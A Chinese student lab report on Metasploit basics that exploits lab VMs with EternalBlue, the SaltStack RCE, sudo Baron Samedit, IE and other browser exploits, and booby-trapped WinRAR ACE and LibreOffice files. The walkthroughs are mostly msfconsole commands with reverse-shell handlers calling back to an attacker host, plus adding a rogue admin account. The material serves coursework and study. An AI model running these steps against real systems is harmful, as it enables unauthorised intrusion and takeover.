网络对抗实验六--MSF应用基础
课程:网络对抗技术
班级:1912 姓名:陈发强 学号:20191206
实验名称:MSF应用基础 实验日期:2022.5.10
(一)主动攻击实践
1-win7漏洞-永恒之蓝
2-Ubuntu-CVE-2020-16846
(二)针对浏览器的攻击
1-msf自动化攻击
2-msf和IE浏览器
3-msf和火狐浏览器
4-msf和chrome浏览器
(三)针对客户端的攻击
1-WinRAR
2-libreoffice
(四)辅助模块的使用
1-wordpress相关的43个辅助模块
1-0-wordpress信息搜集
1-1-wp_masterstudy_privesc
1-2-wp_bulletproofsecurity_backups
实验目的
- 掌握metasploit的基本应用方式。
实验内容
-
一个主动攻击实践,尽量使用最新的类似漏洞
-
一个针对浏览器的攻击,尽量使用最新的类似漏洞
-
一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞
-
成功应用任何一个辅助模块
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除1分。
实验过程
(一)主动攻击实践
1-win7漏洞-永恒之蓝
1-1-扫描win7的smb服务
win7 是默认开启 445 端口的。
如果 win7 有防火墙拦截,那么就要让防火墙放过 SMB 服务的相关数据包。
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.144.149
run
1-2-使用永恒之蓝漏洞攻击
use exploit/windows/smb/ms17_010_eternalblue
(default payload windows/x64/meterpreter/reverse_tcp)
set RHOSTS 192.168.144.149
run
msf 开始自动使用 auxiliary/scanner/smb/smb_ms17_010 检查永恒之蓝漏洞,并自动探测靶机系统版本。
最终拿到了 shell。此过程中 win7 防火墙是开启状态。
最终得到的是管理员权限,成功添加 hacker 用户,并设置为了管理员
2-ubuntu比较新的漏洞
SaltStack Shell 注入 (CVE-2020-16846)漏洞复现
SaltStack是一个分布式运维系统,在互联网场景中被广泛应用,有以下两个主要功能:
• 配置管理系统,能够将远程节点维护在一个预定义的状态
• 分布式远程执行系统,用于在远程节点上单独或通过任意选择标准来执行命令和查询数据
CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。
2-1-环境准备
- 在Ubuntu 20.04下安装docker-compose
# 安装pip
sudo apt-get install pip
# 安装最新版docker
curl -s https://get.docker.com/ | sh
# 启动docker服务
systemctl start docker
# 安装compose
pip install docker-compose
- 运行Github的vulhub项目
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd ~/vulhub/saltstack/CVE-2020-16846
# 自动化编译环境(有些不是必须的)
docker-compose build
# 启动整个环境
sudo docker-compose up -d
# 测试完成后,删除整个环境
sudo docker-compose down -v
出现下面的网页页面,说明SaltStack服务安装成功。
- msf利用漏洞
use exploit/linux/http/saltstack_salt_wheel_async_rce
set RHOSTS 192.168.144.137
set LHOST 192.168.144.151
run
拿到shell,getuid显示的是root权限。
- 继续利用ubuntu的另一个本地漏洞
sudo中基于堆的缓冲区溢出漏洞(CVE-2021-3156)
如果 session 不是 root 权限,可以用这个新漏洞进行提权,ubuntu20.04存在此漏洞。
2021年01月27日,360CERT监测发现RedHat发布了sudo 缓冲区/栈溢出漏洞的风险通告,该漏洞编号为CVE-2021-3156,漏洞等级:高危,漏洞评分:7.0。
攻击者在取得服务器基础权限的情况下,可以利用sudo基于堆的缓冲区溢出漏洞,获得root权限。
use exploit/linux/local/sudo_baron_samedit
set SESSION 3
set ForceExploit true
run
(二)针对浏览器的攻击
1-msf自动化攻击
browser_autopwn是Metasploit提供的辅助功能模块。在用户访问Web页面时,它会自动攻击受害者的浏览器。在开始攻击之前,browser_autopwn能够检测用户使用的浏览器类型, browser_autopwn将根据浏览器的检测结果,自行部署最合适的exploit。
use auxiliary/server/browser_autopwn2
run
之后会生成一个 URL,http://192.168.144.151:8080/wy705UssneC
1.1-受害者浏览器访问网址
主机 win10 + 联想浏览器(Chrome内核) 访问 http://192.168.144.151:8080/wy705UssneC
它说没有合适的可以利用的漏洞。
虚拟机 win7 + Internet Explorer 访问 http://192.168.144.151:8080/wy705UssneC
它说有漏洞可以利用,但半天也没返回一个会话
虚拟机 Ubuntu + firefox 访问 http://192.168.144.151:8080/wy705UssneC
它说没有漏洞可以利用。
看来自动化的都少还是有点弱。
这是它尝试的漏洞
55 Exploit: multi/browser/firefox_webidl_injection firefox/shell_reverse_tcp tcp://192.168.144.151:4442 (setting up)
56 Exploit: multi/browser/firefox_tostring_console_injection firefox/shell_reverse_tcp tcp://192.168.144.151:4442 (setting up)
57 Exploit: multi/browser/firefox_svg_plugin firefox/shell_reverse_tcp tcp://192.168.144.151:4442 (setting up)
58 Exploit: multi/browser/firefox_proto_crmfrequest firefox/shell_reverse_tcp tcp://192.168.144.151:4442 (setting up)
59 Exploit: android/browser/webview_addjavascriptinterface android/meterpreter/reverse_tcp tcp://192.168.144.151:4443 (setting up)
60 Exploit: android/browser/samsung_knox_smdm_url android/meterpreter/reverse_tcp tcp://192.168.144.151:4443 (setting up)
61 Exploit: windows/browser/adobe_flash_worker_byte_array_uaf windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
62 Exploit: windows/browser/adobe_flash_domain_memory_uaf windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
63 Exploit: windows/browser/adobe_flash_copy_pixels_to_byte_array windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
64 Exploit: windows/browser/adobe_flash_casi32_int_overflow windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
65 Exploit: osx/browser/adobe_flash_delete_range_tl_op osx/x86/shell_reverse_tcp tcp://192.168.144.151:4447 (setting up)
66 Exploit: multi/browser/adobe_flash_uncompress_zlib_uaf windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
67 Exploit: multi/browser/adobe_flash_shader_job_overflow windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
68 Exploit: multi/browser/adobe_flash_shader_drawing_fill windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
69 Exploit: multi/browser/adobe_flash_pixel_bender_bof windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
70 Exploit: multi/browser/adobe_flash_opaque_background_uaf windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
71 Exploit: multi/browser/adobe_flash_net_connection_confusion windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
72 Exploit: multi/browser/adobe_flash_nellymoser_bof windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
73 Exploit: multi/browser/adobe_flash_hacking_team_uaf windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
74 Exploit: windows/browser/wellintech_kingscada_kxclientdownload windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
75 Exploit: windows/browser/ms14_064_ole_code_execution windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444 (setting up)
76 Exploit: multi/handler generic/shell_reverse_tcp tcp://192.168.144.151:4442
77 Exploit: multi/handler generic/shell_reverse_tcp tcp://192.168.144.151:4459
78 Exploit: multi/handler android/meterpreter/reverse_tcp tcp://192.168.144.151:4443
79 Exploit: multi/handler windows/meterpreter/reverse_tcp tcp://192.168.144.151:4444
80 Exploit: multi/handler osx/x86/shell_reverse_tcp tcp://192.168.144.151:4447
2-msf和ie浏览器
先看看IE浏览器的
search Internet Explorer
2.1-ms16_051_vbscript
win7 IE(version 8) 访问,没成功
2.2-ms14_064_ole_code_execution
win7 IE(version 8) 访问,没成功
2.3-ms14_012_cmarkup_uaf
win7 IE(version 8) 访问,没成功
2.4-ms14_012_textrange
win7 IE(version 8) 访问,没成功
2.5-ms13_080_cdisplaypointer
win7 IE(version 8) 访问,没成功
2.6-ms13_059_cflatmarkuppointer
win7 IE(version 8) 访问,没成功
2.7-ms13_069_caret
win7 IE(version 8) 访问,没成功
2.8-ms11_003_ie_css_import
use exploit/windows/browser/ms11_003_ie_css_import
set LHOST 192.168.144.151
run
win7 IE 访问 拿到shell
不是system权限,可以配合其他漏洞和POST模块提权
3-msf和火狐浏览器
3.1-firefox_jit_use_after_free
Ubuntu20.04 + firefox(version 93) 没成功。
有空找个老版本的火狐试一下
4-msf和chrome浏览器
也是需要一个老版本的谷歌
最新的2021-04-13:chrome_cve_2021_21220_v8_insufficient_validation
需要 Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)
我的版本是 Google Chrome 99.0.4844.84,没成功。
(三)针对客户端的攻击
1-winrar
1-1-msf生成有毒的ace文件
use exploit/windows/fileformat/winrar_ace
set LHOST 192.168.144.151
run
1-2-msf启动监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.144.151
run
1-3-受害者winrar解压ace文件
版本要求 :WinRAR <= 5.61
重启
1-4-msf拿到shell
shell是当前用户权限,可以配合其他漏洞和POST模块进行提权
2-libreoffice
LibreOffice是OpenOffice.org办公套件衍生版。LibreOffice拥有强大的数据导入和导出功能,能直接导入PDF文档、微软Word(.doc文件)、LotusWord,支持主要的OpenXML格式。
简而言之,相当于Ubuntu上开源免费的 WPS / Microsoft Office,而且很多 Ubuntu 默认安装 libreoffice 作为办公软件。
软件本身并不局限于Debian和Ubuntu平台,现已支持Windows、Mac和其它Linux发行版等多个系统平台。
2-1-libreoffice漏洞
2019年7月:CVE-2019-9848 LibreOffice < 6.2.5 任意python命令执行漏洞复现
旧版本下载地址:https://downloadarchive.documentfoundation.org/libreoffice/old/
sudo apt-get autoremove --purge libreoffice* //先卸载已经安装的libreoffice
sudo dpkg -i linuxidc.deb
sudo apt-get -f install
2-2-metasploit利用漏洞
use exploit/multi/fileformat/libreoffice_logo_exec
set LHOST 192.168.144.151
#set FILENAME 设置文件名
#set TEXT_CONTENT 设置文档内容
run
会生成一个 librefile.odt 文件(默认名称)
启动监听
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.144.151
run
2-3-ubuntu打开librefile.odt
可以看到虽然宏的安全等级是high,但是却没有发出任何告警。
msfconsole拿到shell,是当前用户权限。
可以配合其他漏洞和POST模块进行提权。
run post/multi/recon/local_exploit_suggester
(四)辅助模块的使用
1-wordpress相关的43个辅助模块
WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。
WordPress有许多第三方开发的免费模板,安装方式简单易用。
wordpress最近爆出了不少的漏洞。多数是插件的漏洞。
search wordpress type:auxiliary
首先在 ubuntu 上搭建一个 wordpress 的博客网站。
我是用的 phpstudy + wordpress 快速建站,完成后长这样。
在 kali 中能访问。
1-0-wordpress信息搜集
use auxiliary/scanner/http/wordpress_scanner
set RHOSTS 192.168.144.137
set TARGETURI /wordpress
run
由于我的wordpress还没有安装任何插件,所以只扫描出了wordpress自身的版本。
安装两个插件在跑一遍。
可以看见扫描出了我的插件的版本。
1-1-wp_masterstudy_privesc
2022年的一个漏洞,MasterStudy插件漏洞,影响版本:2.7.5之前的版本。
auxiliary/admin/http/wp_masterstudy_privesc 2022-02-18 Wordpress MasterStudy Admin Account Creation
use auxiliary/admin/http/wp_masterstudy_privesc
set RHOSTS 192.168.144.137
set TARGETURI /wordpress/
run
由于下载不到旧版本的 masterstudy 插件,只好下载了最新版本的2.8.8。(今年2月2.7.5的漏洞,5月就更新到2.8.8了,汗)
所以检测到的是该插件没有漏洞。
1-2-wp_bulletproofsecurity_backups
use auxiliary/scanner/http/wp_bulletproofsecurity_backups
set RHOSTS 192.168.144.137
set TARGETURI /wordpress/
run
实验体会
metasploit 的模块真的很多,功能也很强大,要想用好metasploit,就要耐得住寂寞,逐渐掌握各个模块。
metasploit 的子模块分类很多是按照漏洞的平台和类型进行分类的,要想精准地定位自己想要的漏洞,就要首先了解漏洞的功能、类型和适用的平台版本。
本次实验花费时间最长的环境的搭建。尤其是wordpress的网站和插件,虽然有phpstudy的帮助,但也实在是不容易。
基础问题回答
问题1
用自己的话解释什么是exploit,payload,encode?
expoit:利用漏洞的模块。每个漏洞的利用的方法都不尽相同,exploit 提供了每个漏洞的利用方式。
payload:利用漏洞总要干点什么,payload就是你要运送过去的,搞事情的东西。
encode:编码,运送的东西上贴着“毒品“的标签太过于明目张胆,使用encode编码,伪装一下再运送过去。
问题2
离实战还缺些什么技术或步骤?
最近有幸代表学校参加教育不的网络攻防演练,发现距离实战还是有不小的差距。
首先是信息搜集,扫描器和各种扫描工具基本上都是不能用的,他们的防御系统会检测出这些工具,并直接把你的IP禁用掉。
这就导致了很难大批量地去搜集系统信息,并扫描出可以利用的漏洞,除非自己写一个好用的扫描器。
其次就是很难逃过入侵检测系统。现在很多入侵检测系统都是带行为分析的。对非法操作非常敏感,即使你的病毒没有被杀毒软件检测出来,但只要在干坏事,就很难逃过侦查。
再就是内网渗透。即使拿下了DMZ区,web服务器等服务器,怎么突破进入内网,并进行横向渗透还是个问题。
还有蜜罐技术,如何判断自己拿下的是不是蜜罐?
.......